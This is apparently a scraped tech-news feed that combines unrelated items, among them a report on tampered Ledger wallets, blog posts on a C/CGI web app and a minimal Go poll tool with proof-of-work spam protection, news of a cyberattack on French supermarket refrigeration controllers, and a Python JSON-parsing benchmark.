The researchers obtained two variants, one in a Ledger device bought on Amazon Japan from " China-based seller · shipped from Malaysia," the other purchased on Yahoo! Auctions, Japan.

In a report over the weekend, Tibane Labs notes that the threat actor made room for the malicious circuitry by replacing the original battery with a smaller one, which powers both the implant and the Ledger X.

"Under the battery and antenna sits an ST STM32G431KBU6 (Arm Cortex‑M4, 128 KB flash, UFQFPN‑32)," the researchers found inside one of the devices.

For connectivity, the actor used "a tiny eSIM, an 8‑pad package just 2×2 mm, next to the MCU, and a shielded LTE module that sends the words out."

In the second hardware wallet analyzed, Tibane researchers found that markings on both the MCU (Microcontroller Unit) and the eSIM had been scraped off to hide the part numbers.

The second variant, which appears to be the same one that Karpelès described, is more advanced. It ran on the original battery and fit into the space normally occupied by the foam padding under the OLED display.

In both cases, the tell tale was the antenna wire, which ran along the top edge in the case of the second implant. In the first implant, the antenna is taped across the top of the battery and the shielded LTE module.

The researchers warned that the specimen above used "a designed, panelised flex PCB, the kind ordered from a board house, not a hand-built one-off."

Ledger is advising users to avoid purchasing from unauthorized resellers as they run an increased risk of getting counterfeit or modified devices.

The company is also reminding its authorized resellers and distributors to get the products only through authorized channels and to avoid restocking returned products.

Ledger provides a ‘Genuine Check’ mechanism to determine the authenticity of the device; however, it explicitly warns that it cannot detect added implants when the device’s original Secure Element remains intact.

At this time, there’s no indication that any other Ledger resellers are shipping compromised wallets; however, the community’s trust in the resellers’ network has been compromised, with many now calling for its dismantling.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

A Modern Web App in C

Hacker News
prophitt.me
2026-10-12 12:13:10
Comments...
Original Article

## INTRO

If you wanted a dynamic website in 1994, you wrote a C program, dropped it in a cgi-bin directory, and let Apache fork it per request. Thirty-two years later, I shipped a commercial web product using fundamentally the same technology.

Everything about marketyour.games is modern. It's a web product with user accounts, a search dashboard for content creators, folders for organizing them, payments via Stripe and transactional emails via Postmark. It follows progressive enhancement and doesn't require any JavaScript.

Everything is modern except the way it was made and how it is served. Here are my thoughts on writing a real product in C and serving it via CGI in 2026.

## TLDR

CGI's decline was justified in 2004 but doesn't hold up in 2026.

You can write a modern web application in C. I shipped one. One binary, a SQLite file, three dependencies and the entire thing fits in your head.

## HOW IT WAS DONE

The stack is BCHS : OpenBSD, C, httpd, and SQLite.

There's no framework. You write a C program that reads CGI environment variables and responds.

There's no templating language. You write C that outputs the HTML directly.

There's no separate database server. You open the database file through SQLite's C API.

There's no container. You build a statically linked binary and drop it in a folder.

Every request spawns a fresh process. Deploying a new version is replacing one file. That means no server restart and no downtime. New requests simply pick up the new binary.

OpenBSD ships with sane defaults and gives you the tools to actually secure a C program like pledge and unveil. Httpd serves from a chroot by default, so your CGI binary runs sandboxed to its own corner of the filesystem.

I lean on three additional libraries:

  • libcurl handles all outbound requests to Stripe and Postmark.
  • libsodium handles random identifier generation, password hashing and the HMAC verification for Stripe webhooks.
  • libcjson handles JSON parsing for Stripe and Postmark.

Only two of those are actual build dependencies: libcurl and libsodium.

  • libcjson is a single C file and has no external dependencies.
  • SQLite ships an official amalgamation (single C file) build.

Both are vendored and built as part of the project.

The result is a build with almost no moving parts. A clean build takes a few seconds and rebuilds complete in less than half a second.

Instead of serving static assets the traditional way, I route all traffic from httpd to the CGI binary. Every asset is compiled into the executable and served from memory.

## WHAT I LIKED

Fundamentals over frameworks.

CGI isn't a framework to learn. The 1.1 specification was published in 2004 and hasn't changed since.

There's no API to internalize. The entire interface is a handful of fundamental HTTP concepts:

  • Request headers.
  • Request methods.
  • Query strings.
  • Body data.

If you understand HTTP, you already understand CGI.

It's language and platform agnostic. You learn it once and the knowledge is good forever.

Clear separation of concerns.

A modern web application typically puts a web server like nginx in front and reverse-proxies to an application server written in another language like Ruby, Python, Go, or Rust. That always felt a bit strange to me: you essentially have two web servers, and one of them is also responsible for your business logic.

CGI gives you a single web server that calls your business logic directly. It's clear who does what.

It makes debugging simpler, too. Your application is an ordinary program you can run from a shell: pipe it a request, watch stderr, step through it with gdb.

In a sense, CGI resembles serverless architecture: a supervisor invokes your code per request, hands it a bag of environment variables, and collects the result. CGI is serverless, minus the vendor (and surprise bills).

Minimal supply chain risk.

With the rise of autonomous agents and weekly attacks on package repositories, it feels reassuring to have very few dependencies.

Most modern tech stacks come with a package manager and an ecosystem to go along with it. It's convenient, but the dependency graph balloons. One or two direct dependencies can pull in hundreds of indirect ones, each maintained by somebody you've never heard of, with publish credentials protected by a password reused since 2015.

My supply chain is a C compiler and three libraries. Compromising it would require compromising libcurl... a project the entire internet watches, not a package with eleven weekly downloads and an owner who left in 2019.

Simple tooling.

I'm a minimalist at heart. I use classic Vim with zero plugins. That means no LSP, no autocomplete, no code formatters, and no AI.

Complex tech stacks demand complex tooling: they demand a language server to wade through the layers of abstraction. But this stack is simple enough a plain editor is all you need. The entire application is a directory of C files and a Makefile.

Open a file, read it, and you know what it does.

Great tooling is within reach.

When you do want tooling, it's not far. Sanitizers, valgrind, gdb, ctags, cscope... these are mature (well, geriatric) tools that have been refined for decades and they're a package install away on any system that can compile C.

The maturity goes further than the tools themselves: integration is built into many editors. Vim ships with native support for ctags, cscope and has a graphical gdb frontend (see :h Termdebug).

Writing HTML and CSS in C isn't too bad.

I was hesitant to write the entire frontend in C, but it wasn't nearly as painful as I imagined.

All too many times have I:

  • Fought vim to highlight Go's html/template syntax.
  • Fought helix to detect Go templates without breaking html detection.
  • Fought rustrover to recognize jinja templates for a project using askama.

Using C means there's no second language for your editor to half-detect, no mixed-syntax where highlighting falls apart, no plugin dance to get the two languages to cooperate.

It was refreshing to just write C. It isn't pretty, but neither is Tailwind.

SQLite is a breath of fresh air.

I've always defaulted to Postgres for web applications. It's a great database, but it comes with some operational burden. There's a server process to babysit and frequent releases to upgrade to.

SQLite has none of that. There's no process, no configuration, no dependencies. Your application opens the database file directly. The operational burden is minimal.

## WHAT I WOULD CHANGE

CGI is an interface between a web server and your application. There's no framework or library. This means you get very little out of the box.

You need to write your own utilities to handle things like:

  • Cookie parsing and creation.
  • Query parameter parsing and validation.
  • Form data parsing and validation.
  • Escaping input for display.

I rolled my own in a single header file (cgi.h), but I'm not convinced that was the right solution. Libraries like kcgi exist, but adopting one means buying into its API and security model.

I'd like to see a set of shared utilities that developers can drop in (like the stb libraries).

Maybe I'll publish cgi.h as a start.

## CONCLUSION

CGI is old, but it's not forgotten.

Most of the reasons we abandoned it in the early 2000s don't hold up today. Process forking isn't nearly as expensive as it was; modern kernels optimize it heavily.

And if the cost of forking ever became an issue, FastCGI is a simple enough upgrade.

Writing a modern web application in C is more than feasible— marketyour.games is a commercial product running on a single binary using a serving model that was officially standardized in 2004.

It has fewer moving parts than anything I've shipped before. I'll be reaching for this stack again.

nobloat/poll - designing a minimal poll tool

Lobsters
nobloat.org
2026-10-12 12:12:10
Comments...
Original Article

So, I wanted to send out a poll for our yearly "zeitkapsl Punsch" event, where we invite people who helped zeitkapsl become what it is today. Early customers, former development team members, etc. Well...

"... I opened up Doodle, trying to create a new poll for an event. I was immediately greeted with flashing popups stating I have to upgrade to pro now. I kept searching for where to delete my existing polls. It was not easy. I finally figured it out and was able to create the poll for my punsch event. But it left me wondering: how is everybody else tolerating this?"

A hand-drawn poll: "How to name the office plant?" Options: go fern(), /dev/leaf, Monstera Monolith and Photosynthesis as a Service
A hand-drawn poll: "How to name the office plant?" Options: go fern(), /dev/leaf, Monstera Monolith and Photosynthesis as a Service

TL;DR

nobloat/poll is a self-hostable single-binary Doodle alternative written in plain go with no further dependencies . It doesn't require a database, job queue, npm or node. It works without signups. Every poll is a single JSON file, the whole thing ships as one 3.5 MB binary, and a page loads ~27 KB (6.9 kB + 20 kB uncompressed JavaScript and CSS). You can use it at poll.nobloat.org . There is no "pro version" of it.

There was Doodle

I usually used Doodle for that, but apparently a lot has happened there over the past year, and the path to enshi * ation has proceeded a lot further:

  • You have to leave your e-mail address even as a participant.
  • You can no longer have more than one poll in total in the "free account", even if the old one is already closed.
  • You can't export your participant list.
  • Loading the poll page takes around 3 seconds, and downloads 4.7 MB JavaScript.
  • You are flashed by so many pop-ups.

There is of course nuudel and a couple other acceptable alternatives , but I wanted something I can easily self-host on my quite dated own cabinet "server" (an old ThinkPad X260 of course).

My cabinet "server", a ThinkPad X260
My cabinet "server", a ThinkPad X260

It's been over a year since I last built something nobloat-style , so I thought this is the perfect opportunity to spend some hours and build something I personally enjoy building and using .

My requirements checklist

The goal was to have a tool ready by the end of the weekend that allows me to finally send out a poll for when to do the "Punsch" event.

Functional

  • Optionally send out e-mails to participants (if they choose to by offering an optional e-mail address)
  • Allow public poll creation without a register/login dance
  • Basic spam protection via a simple proof of work performed by the browser
  • i18n support
  • basic theming to allow for branding and make it appropriate for different scenarios (birthday parties, dinner invite, business meetings, etc.)

Non-functional

  • Having fun in the process and create something I can enjoy looking at
  • Single statically linked cross-compilable binary I can basically deploy on anything that offers a filesystem.
  • As few external build-time and run-time dependencies as possible, so this stays low maintenance in the upcoming years.
  • Keep the state in plain text files so it's easy to reason about, backup, migrate, modify, bulk edit/create/delete.
  • Absolutely no node, npm, yarn madness. I usually build most of my web frontends with Svelte or SvelteKit , but this requires npm and a ton of other node modules. Again, keeping this low-maintenance without renovate-bot yelling at me every other day.
  • Simple configuration that works inside and outside of containers

As it turns out , plain go std-lib is completely sufficient to build a simple replacement for Doodle.

cat go.mod package.json
module github.com/nobloat/poll

go 1.27.0
cat: package.json: No such file or directory

Bypassing signup and login

To avoid making users register and log in, every poll gets a secret owner token when it is created. The link containing it is all you need to manage the poll.

If the owner chooses to provide a mail address, this unique link is sent to them. If not, they can copy/paste or bookmark it.

Hi Peter,

your poll "Punsch Event" is live.

Share this link with participants:
http://localhost:8737/p/d7fminnmxnvygaxg

Manage it (see answers, edit, close, delete):
http://localhost:8737/p/d7fminnmxnvygaxg/m/TMP6BZXB2SE4TOP3PVZODGRS6U

The manage link is personal. Anyone with it can edit, close or delete the poll, so don't share it.

The same happens when answering a poll. Every answer gets its own token, and the link allows you to view, edit or delete your answer.

Hi Peter,

thanks for answering "Punsch Event". Here is your personal link to change or remove it:

http://localhost:8737/p/d7fminnmxnvygaxg/a/CGYZDMGL7UJ5WA4RR4ON66HBEN

You'll be notified by email when the final decision is made.

This link is personal, don't share it. If you didn't answer this poll, ignore this email or use the link to remove the answer.

All mails are localized, just like the web interface. The language is remembered per participant, so everyone gets their mails in the language they used when answering, even if the poll owner speaks a different one.

Creating a poll or event

You can create a new poll here

The poll creation form
The poll creation form

It asks you to enter a title and a description.

Options are simply a <textarea> where each line represents an option.

You can also switch between single choice and multiple choice .

For better privacy among voters, you can also choose whether participants can see each other's answers.

There is no separate "event" poll type. If an option looks like a date, the poll becomes an event poll by itself (more on that below ). Since options are just lines of text, you can also copy and paste a whole list of them in one go.

Answering a poll

Editing an answer via the personal link
Editing an answer via the personal link

If the poll creator supplied an e-mail address, they receive an update mail when answers are coming in.

New answer from Grace: Pizza Friday

# Answers

01 Margherita  [2] ■■
   Ada Lovelace, Grace Hopper
02 Diavola  [2] ■■
   Linus, Grace Hopper
03 Quattro Formaggi  [2] ■■
   Ada Lovelace, Grace Hopper
04 Hawaii  [1] ■
   Rubber Duck

http://localhost:8737/p/pizza-friday/m/ASEIRUQD7POJBVG6VITTHGCIIK

Calendar invites

Most of my polls are really about finding a date. So when an option looks like a date, the poll treats it as one. All of these work:

2026-12-12
12.12.2026
12.12.
Sat, 12.12.2026, 18:00–22:00
12.12. um 18:00 Uhr

A missing year means the next time that date comes up. A date without a time becomes an all-day event, and a start time without an end time gets one hour. If the end time is earlier than the start, the event runs past midnight. Anything that isn't a valid date, like 31.02. , simply stays a normal text option.

When the poll is closed and the winning option is a date, everybody who left an e-mail address gets the result with an invite.ics attached:

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//nobloat//poll//EN
METHOD:PUBLISH
BEGIN:VEVENT
UID:zeitkapsl-punsch@poll.nobloat.org
DTSTAMP:20261205T091500Z
DTSTART:20261212T170000Z
DTEND:20261212T210000Z
SUMMARY:zeitkapsl Punsch
DESCRIPTION:Punsch\, Kekse and old stories.
END:VEVENT
END:VCALENDAR

One click and it's in their calendar. The whole format is about 40 lines of Go: escaping, folding lines at 75 bytes, and joining them with \r\n . There's no need for a library.

Keyboard shortcuts

All actions can be reached via keyboard shortcuts so you don't have to use the mouse at all. Each shortcut is shown as a small <kbd> hint next to where it applies: 1 – 9 toggle the options, n jumps to the name field, e to the e-mail field, s submits, and Ctrl+Enter submits from inside any field. On the manage page, c copies the share link and 1 – 9 pick the final option.

Under the hood, it's just a data-key attribute in the HTML templates and a single keydown listener in app.js .

Spam protection without a captcha

Since anybody can create polls on poll.nobloat.org , I needed some basic protection against bots, but without captchas or third-party services.

Before the server accepts a form, the browser has to burn a bit of CPU. For one human submitting one poll, that's unnoticeable. For a bot submitting thousands, it adds up.

1. Get a challenge. On submit, the browser fetches GET /pow . The server answers with the difficulty and a challenge:

16 1760180000.K3J5ZQ7XW2M4N6P8R2T4V6X8YA.9f2c…e41a

The challenge is a timestamp, a random value and an HMAC over both, signed with a key that only lives in memory. Because of the signature, the server doesn't have to store issued challenges. It can recognize its own later.

2. Solve it. The browser counts up a number (the nonce) until SHA-256(challenge + nonce) starts with 16 zero bits:

const zeroBits = (buf) => {
  const b = new Uint8Array(buf);
  let n = 0;
  for (const x of b) {
    if (x === 0) { n += 8; continue; }
    return n + Math.clz32(x) - 24;
  }
  return n;
};

async function solve(challenge, bits) {
  const enc = new TextEncoder();
  const batch = 64;
  for (let n = 0; ; n += batch) {
    const hashes = await Promise.all(Array.from({ length: batch },
      (_, i) => crypto.subtle.digest('SHA-256', enc.encode(challenge + (n + i)))));
    const i = hashes.findIndex((h) => zeroBits(h) >= bits);
    if (i >= 0) return String(n + i);
  }
}

Each extra zero bit halves the chance that a random hash qualifies, so 16 bits means about 2¹⁶ ≈ 65,000 tries on average. crypto.subtle.digest is built into every browser, so no library is needed. It's async, which is why the hashes are computed in batches of 64 with Promise.all rather than awaited one by one.

3. Submit with proof. A global submit listener holds the form back, solves the challenge and adds both values as hidden fields before sending it off:

async function proof() {
  const [bits, pow] = (await (await fetch('/pow')).text()).split(' ');
  return { pow, nonce: await solve(pow, +bits) };
}

document.addEventListener('submit', async (e) => {
  const form = e.target;
  if (form.method !== 'post') return;
  if (form.dataset.proved) { delete form.dataset.proved; return; }
  e.preventDefault();
  // …
  const p = await proof();
  for (const k in p) form.insertAdjacentHTML('beforeend', `<input type="hidden" name="${k}" value="${p[k]}" data-pow>`);
  form.dataset.proved = 1;
  // …
  form.requestSubmit(e.submitter);
});

The forms themselves are plain HTML forms. They don't know anything about this.

4. Verify. Every POST on the server goes through a middleware that checks the proof. Verifying costs a single hash, compared to the client's ~65,000:

  • Does the HMAC match? Otherwise the challenge is forged.
  • Is it younger than 2 hours?
  • Does SHA-256(challenge + nonce) really start with 16 zero bits?
  • Has this challenge been used before? Used challenges are kept in memory until they expire, so a solved one can't be replayed.

This won't stop a determined attacker, but it makes mass submissions expensive enough that dumb bots move on.

Skipping the database

Postgres was out of the question as a runtime dependency for this project for obvious reasons.

SQLite would have been fine for me, but the common Go driver requires CGO , which introduces a whole other set of problems when cross compiling. Pure-Go ports like modernc.org/sqlite exist, but they are yet another external dependency. So I decided to keep it even more minimal and just store the polls in simple .json files.

All modifications go through a single global lock. That's the bottleneck if thousands of people vote at the same time, which is not a problem I have. The poll definition as well as the answers from voters are stored in the same file.

The file is named after the generated poll ID: data/polls/<id>.json

cat data/polls/d7fminnmxnvygaxg.json
{
  "title": "Punsch Event",
  "description": "",
  "multiple": true,
  "resultsVisible": false,
  "options": [
    { "text": "12.10.2026", "start": "2026-10-12T00:00:00+02:00", "end": "2026-10-13T00:00:00+02:00", "allDay": true },
    { "text": "13.10.2026", "start": "2026-10-13T00:00:00+02:00", "end": "2026-10-14T00:00:00+02:00", "allDay": true },
    { "text": "15.10.2026", "start": "2026-10-15T00:00:00+02:00", "end": "2026-10-16T00:00:00+02:00", "allDay": true }
  ],
  "answers": [
    { "token": "CGYZDMGL7UJ5WA4RR4ON66HBEN", "name": "Peter", "email": "", "lang": "en", "choices": [1], "created": "2026-10-11T13:00:27.373786142+02:00" }
  ],
  "closed": false,
  "outcome": 0,
  "created": "2026-10-11T12:59:34.699813479+02:00",
  "owner_name": "Peter",
  "owner_email": "",
  "owner_lang": "en",
  "owner_token": "TMP6BZXB2SE4TOP3PVZODGRS6U",
  "theme": "minimal"
}

But what happens if the process crashes or the power goes out in the middle of writing a poll? With a plain os.WriteFile you could end up with a truncated, half-written .json file, and the poll would be gone.

To avoid that, every write is atomic : the new content goes into a temporary file in the same directory, which is flushed to disk and then renamed over the old file. A rename within the same filesystem is atomic, so the poll file is always either the old or the new version.

f, _ := os.CreateTemp(s.dir, ".tmp-*")
f.Write(b)
f.Sync()                            // content is on disk
f.Close()
os.Rename(f.Name(), s.path(p.ID))   // atomic swap
s.syncDir()                         // the rename itself is on disk

The last fsync on the directory makes sure the rename survives a power loss too. If we crash before the rename, only a stale .tmp-* file is left behind, and those get cleaned up on the next startup.

Reliably sending mails

When a poll is closed, every participant who left an e-mail address gets the outcome, so mails must not get lost. Therefore, we need some kind of reliable e-mail sending mechanism.

Go ships SMTP support out of the box with net/smtp . The easiest way is to just start one goroutine per recipient and call it a day. But SMTP can fail or we can decide to restart the application while mails are sent out.

To avoid such issues, one usually uses an asynchronous job queue like redis or river queue for postgres. Of course neither is an option for this project.

So we are keeping a persisted outbox under ./data/mail that stores each mail that needs to be sent out on disk.

On application startup we also check for not yet sent messages.

This gives us an at-least-once delivery guarantee, with duplicates only if we crash mid-send.

Shutdown of the application happens gracefully and waits for the mail currently being sent.

Deployment

Since there is no CGO , the binary is built fully static:

CGO_ENABLED=0 go build -tags timetzdata,nethttpomithttp2 -trimpath -ldflags="-s -w" -o poll .
upx -q --best poll

timetzdata embeds the time zone database, so the binary doesn't even need /usr/share/zoneinfo on the target system. nethttpomithttp2 drops the HTTP/2 implementation, which isn't needed behind a reverse proxy anyway.

This allows the Docker image to be built FROM scratch : it contains nothing but the CA certificates (for SMTP via TLS) and the binary itself. It runs as an unprivileged user, and the binary refuses to start as root altogether.

Configuration is done via environment variables only, which works the same way inside a container, in a systemd unit or in a shell on my ThinkPad. On startup all settings are validated and every error is reported at once.

9.1 MB → 3.5 MB binary size

9.1 MB is not as tiny for a poll tool as I hoped for, so I looked at which packages take up the space.

CGO_ENABLED=0 go build -tags timetzdata,nethttpomithttp2 -trimpath -o poll-sym .
go tool nm -size poll-sym \
  | awk '$3 !~ /[Bb]/ { match($4, /^[^.(]*(\/[^.(]*)*/); s[substr($4, 1, RLENGTH)] += $2 }
         END { for (p in s) printf "%8.1f KB  %s\n", s[p]/1024, p }' \
  | sort -rn

Grouped a bit further:

crypto/*                         1.2 MB
runtime, reflect, internal/*     0.9 MB
type information                 0.6 MB
net, net/http, net/smtp          0.5 MB
encoding/json                    0.3 MB
vendor/golang.org/x/*            0.2 MB
html/template, text/template     0.2 MB
nobloat/poll                     0.1 MB

Most of this is expected, we need the whole crypto package for the TLS stack for SMTP via STARTTLS .

There is an option to omit the HTTP/2 support, which we don't need because we run behind a reverse proxy anway.

for tags in timetzdata,nethttpomithttp2 nethttpomithttp2 timetzdata; do
  CGO_ENABLED=0 go build -tags "$tags" -trimpath -ldflags="-s -w" -o poll-test .
  echo "$(stat -c %s poll-test) $tags"
done
du -cb static templates i18n mail | tail -1
  • timetzdata adds ~400 KB : the zipped time zone database
  • nethttpomithttp2 saves ~410 KB : the HTTP/2 implementation
  • All embedded templates, CSS, JS and translations together are only ~78 KB

Squeezing it with UPX

Since most of the binary can't be removed, the last step is to compress it with UPX . UPX packs the executable and prepends a small stub that decompresses it into memory on startup:

9,584,800 bytes  poll (stripped)
3,624,388 bytes  poll (upx --best)

That's 3.5 MB , a reduction of about 62%. It doesn't come for free though. Startup time increases quite a lot, but this doesn't really bother me.

                 startup   peak memory
poll             2 ms      12.4 MB
poll (upx)       32 ms     14.7 MB

Summary

It is now Sunday afternoon, 14:00 and this was fun to build, even though it turned out to be not as minimal as I hoped for. But I do like that it doesn't use any external dependencies except for the SMTP gateway to send out emails, and even these are optional.

I have now a poll tool I enjoy using. - mission accomplished.

I could still leave out the JavaScript stuff itself, but I like it for the shortcuts, proof-of-work and interactivity improvements it delivers.

Everybody else is welcome to use it as well. No service guarantees though, I tend to reboot my X260 from time to time.

It's licensed under AGPL-3.0 .

GLM-Legal: Advancing Agentic Legal Intelligence

Hacker News
z.ai
2026-10-12 12:11:45
Comments...

French supermarkets suffer fridge shutdown after 'unprecedented' cyberattack

Hacker News
uk.finance.yahoo.com
2026-10-12 11:36:21
Comments...
Original Article
Intermarche was one of the groups affected (Gabriel BOUYS)

Major French supermarket chains on Monday said they were hit by a cyberattack that caused their refrigerators to shoot up in temperature in hundreds of stores, forcing spoiled food to be thrown away and raising concerns about food security.

Top retailers E. Leclerc, Intermarche and Cooperative U confirmed to AFP they suffered a cyberattack that Cooperative U's chief executive described as "unprecedented".

"Food security requires more attention at all levels," said the EU's food and agriculture commissioner Christophe Hansen on X, condemning the attack and saying such "exploitation of food" was now a "reality".

At least 300 shops of Intermarche or its Netto brand were targeted, along with over 100 Cooperative U outlets, and several E. Leclerc stores, the retailers told AFP in separate statements.

Paris prosecutors confirmed the attack, which reportedly also hit other major chains, and also indicated it had sparked fires.

BFM TV said hackers "managed to remotely trigger the forced defrosting of the refrigeration systems in numerous stores".

Those branches that were affected will have to "throw away all of the products" that are fresh and frozen, Intermarche told AFP.

Specialist French retail sector news website jebosseengrandedistribution.fr said other retail giants Carrefour Market and Monoprix were affected but the companies have yet to confirm this.

E. Leclerc confirmed to AFP "that a cyberattack affected one of its refrigeration equipment suppliers," resulting in "repercussions on the operation of refrigeration systems in several stores".

A source close to the issue said refrigeration control systems from Danish manufacturer Danfoss were targeted.

Danfoss told AFP in a statement that most of the affected equipment was "legacy" products which "no longer receive software or security updates".

It said its AK-SM800 and AK-SC355 fridge regulator systems were notably affected, with a version of the former using "outdated firmware". It added that it had long advised supermarkets to update from those models. Danfoss gave no figures of how many systems were affected.

- Effort to contain the hack -

A person close to French Prime Minister Sebastien Lecornu said France's cyber security agency had already identified "a vulnerability in software supplied by a Danish company and has contacted the vendor".

"It is liaising with its European counterparts, as other countries may be affected," and is seeking "to identify other French companies involved in order to alert them" and "prevent the spread", the source added.

[$] The 2026 Maintainers Summit

Linux Weekly News
lwn.net
2026-10-12 11:27:27
The Maintainers Summit is a one-day, invitation-only gathering of about 30 kernel developers; it is held once each year to discuss policy-related issues that are not always amenable to resolution via email. The 2026 event was scheduled for October 8 in Prague, Czechia. Unsurprisingly, the dis...
Original Article
The page you have tried to view ( The 2026 Maintainers Summit ) is currently available to LWN subscribers only. Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

(Alternatively, this item will become freely available on October 22, 2026)

Parsing JSON at tens of gigabytes per second… in Python

Lobsters
lemire.me
2026-10-12 11:24:45
Comments...
Original Article

Python used to have limited parallelism, due to its global interpreter lock
(GIL). Only one thread could run Python code at a time. Python 3.14 comes in a
free-threaded version ( python3.14t ), without the global interpreter lock.
Several threads can now run Python code at the same time.

Let us pick a realistic problem. GitHub publishes everything that happens on
its public repositories: pushes, issues, pull requests, stars, and so forth.
The GH Archive project collects these events
as JSON, one event per line (NDJSON), one file per hour. I took eight hours of
March 13, 2024: 7.6 GB of JSON once decompressed, 2.2 million events. I want
to know which programming languages get the most new pull requests. So I
count the events by type, and for each pull request that was opened, I look
up the language of the repository. Each event is a large JSON
object, about 3.4 kB on average: I need only a few of its fields.

The answer, for these eight hours: 65,269 pull requests were opened, mostly
toward TypeScript (11,565), JavaScript (7,778), Python (7,057) and Java
(4,668) repositories. About 5,857 targeted repositories without a language.

With fastsimdjson , our Python
binding for simdjson, the code looks as follows. The function map_many
calls my function on each event, using as many threads as I ask for.

import collections, threading
import fastsimdjson

local = threading.local()
parts = []

def one_event(e):
    acc = getattr(local, "acc", None)
    if acc is None:  # first event seen by this thread
        acc = local.acc = (collections.Counter(), collections.Counter())
        parts.append(acc)
    t = e["type"]
    acc[0][t] += 1
    if t == "PullRequestEvent":
        p = e["payload"]
        if p["action"] == "opened":
            acc[1][p["pull_request"]["base"]["repo"]["language"]] += 1

data = open("events.json", "rb").read()
fastsimdjson.map_many(one_event, data, format="lines", threads=64, lazy=True)

types, languages = collections.Counter(), collections.Counter()
for t, lang in parts:
    types.update(t)
    languages.update(lang)

Each thread keeps its own counters. The first event a thread sees creates
the pair and appends it to parts . Later events on that thread update the
same pair. Nothing in the counters is shared, so the threads do not wait
for each other. map_many returns only once every event has been counted.
The main thread then walks parts , one pair per thread, and
Counter.update adds the counts. A few dozen event types and about a
hundred languages: the merge is tiny next to the parsing.

With lazy=True , my function receives a lazy view of the event instead of a
dictionary: the event is parsed, but Python objects are created
only for the values I access. The lazy approach was first developed by
Tyler Kennedy in another simdjson binding,
pysimdjson .

How does it compare? I tried the usual suspects: the standard library
( json ), orjson and
msgspec . msgspec deserves special
mention: it can decode JSON into typed structures that declare only the fields
you need, skipping the rest. It is a lot like our lazy views, except that you
must declare a schema beforehand. I gave msgspec this advantage. In each case,
I verify that we get exactly the same counts.

I use a server with two Intel Xeon Gold 6548N processors (64 cores),
Python 3.14.6, and the current versions of the libraries (fastsimdjson 0.6.0,
orjson 3.13.0, msgspec 0.22.0). The data is decompressed in memory
before the timer starts. I report the best of seven runs, and one run
for the slow methods: the single-thread parsers, and the standard
library on 64 threads. Let us first use a single core.

One core

method GB/s
json (standard library) 0.18
orjson 0.42
fastsimdjson map_many 0.63
msgspec (typed structures) 1.29
fastsimdjson map_many (lazy) 2.13

The standard library needs 42 seconds to go through the eight hours. With
fastsimdjson and lazy views, it takes 3.6 seconds. Notice how the methods
that materialize everything (json, orjson and fastsimdjson without lazy views)
are slow: most of the time goes into creating Python objects that we
discard right away.

Now let us use all 64 cores, still in one process. On free-threaded Python,
I use a thread pool for json and msgspec, and map_many(..., threads=64)
for fastsimdjson. The threads share the input.

64 cores

method GB/s
json (standard library), 64 threads 3.17
msgspec (typed structures), 64 threads 24.6
fastsimdjson map_many , 64 threads 29.8
fastsimdjson map_many (lazy), 64 threads 65.7

We go through 7.6 GB of JSON in about 0.12 seconds, at 66 GB/s, in one
Python process. That is 31 times faster than with one core. It is faster
than msgspec using 64 threads (25 GB/s).

So, can you parse JSON at tens of gigabytes per second in Python? Yes.

fastsimdjson 0.6.0 is available on PyPI .
My benchmark is available .

Cyberattack shuts down refrigerators at French supermarkets

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 11:23:34
Attackers remotely defrosted refrigerators at multiple French supermarket chains overnight in a cyberattack that reportedly targeted Danfoss refrigeration controllers. [...]...
Original Article

Supermarket empty fridges

Attackers remotely defrosted refrigerators at multiple French supermarket chains overnight in a cyberattack that reportedly targeted Danfoss refrigeration controllers.

Victims include Intermarché, Coopérative U, Carrefour Market, Monoprix, Leclerc, and Super U, with French outlets reporting that the attack affected between 250 and 350 stores, causing significant financial losses and food waste.

The threat actors hijacked refrigeration controllers running older versions of Danfoss control software on Sunday night and used them to raise supermarket refrigerator temperatures by triggering a built-in automatic defrosting system.

Coopérative U president Dominique Schelcher confirmed the incident earlier today and said that the attack affected multiple stores in the chain.

"I can confirm that, since last night, a cyberattack has been affecting the refrigeration systems in several stores within our @CooperativeU network. Our teams are fully mobilized, working alongside refrigeration specialists, to resolve the situation as quickly as possible. An investigation will be conducted to shed full light on this attack," Schelcher said .

"Targeting equipment essential for preserving fresh produce and supplying food to the French people is an extremely serious matter and is unprecedented. It is unacceptable."

Cold chain breakage warning sign in French supermarket
Cold chain breakage warning sign in French supermarket ( Alejo Schapire )

EU agriculture and food commissioner Christophe Hansen also condemned the attack and named France's largest supermarket chain, Leclerc, as one of the victims.

The Paris prosecutor's office has told AFP that it has opened an investigation into "the large-scale cyberattack affecting the refrigerators of several major food retail chains across France" to "identify the victims and establish the link with the damage they reported in terms of foodstuff losses and the outbreak of fires."

While no information is available on how the attackers were able to compromise the Danfoss refrigeration controllers, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned in May 2025 of a high-severity authentication bypass vulnerability ( CVE-2025-41450 ) in the Danfoss AK-SM 8xxA Series hardware platform used to manage refrigeration and HVAC systems typically found in the food retail sector.

Although there is no evidence yet that the two are connected, retail giant Ahold Delhaize, one of the world's largest food retail chains, also announced on Monday that it had to take some systems offline after a "cybersecurity incident."

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Kevin Kelly's 2016 AI Predictions, 10 Years Later

Hacker News
taylor.town
2026-10-12 11:16:45
Comments...
Original Article

Kevin Kelly 's The Inevitable articulates a handful of macro technological trends and follows them to their logical conclusions. It's an insightful read -- I highly recommend it.

One decade later, here are some AI-related excerpts from the book:

"By 2026, Google’s main product will not be search but AI."

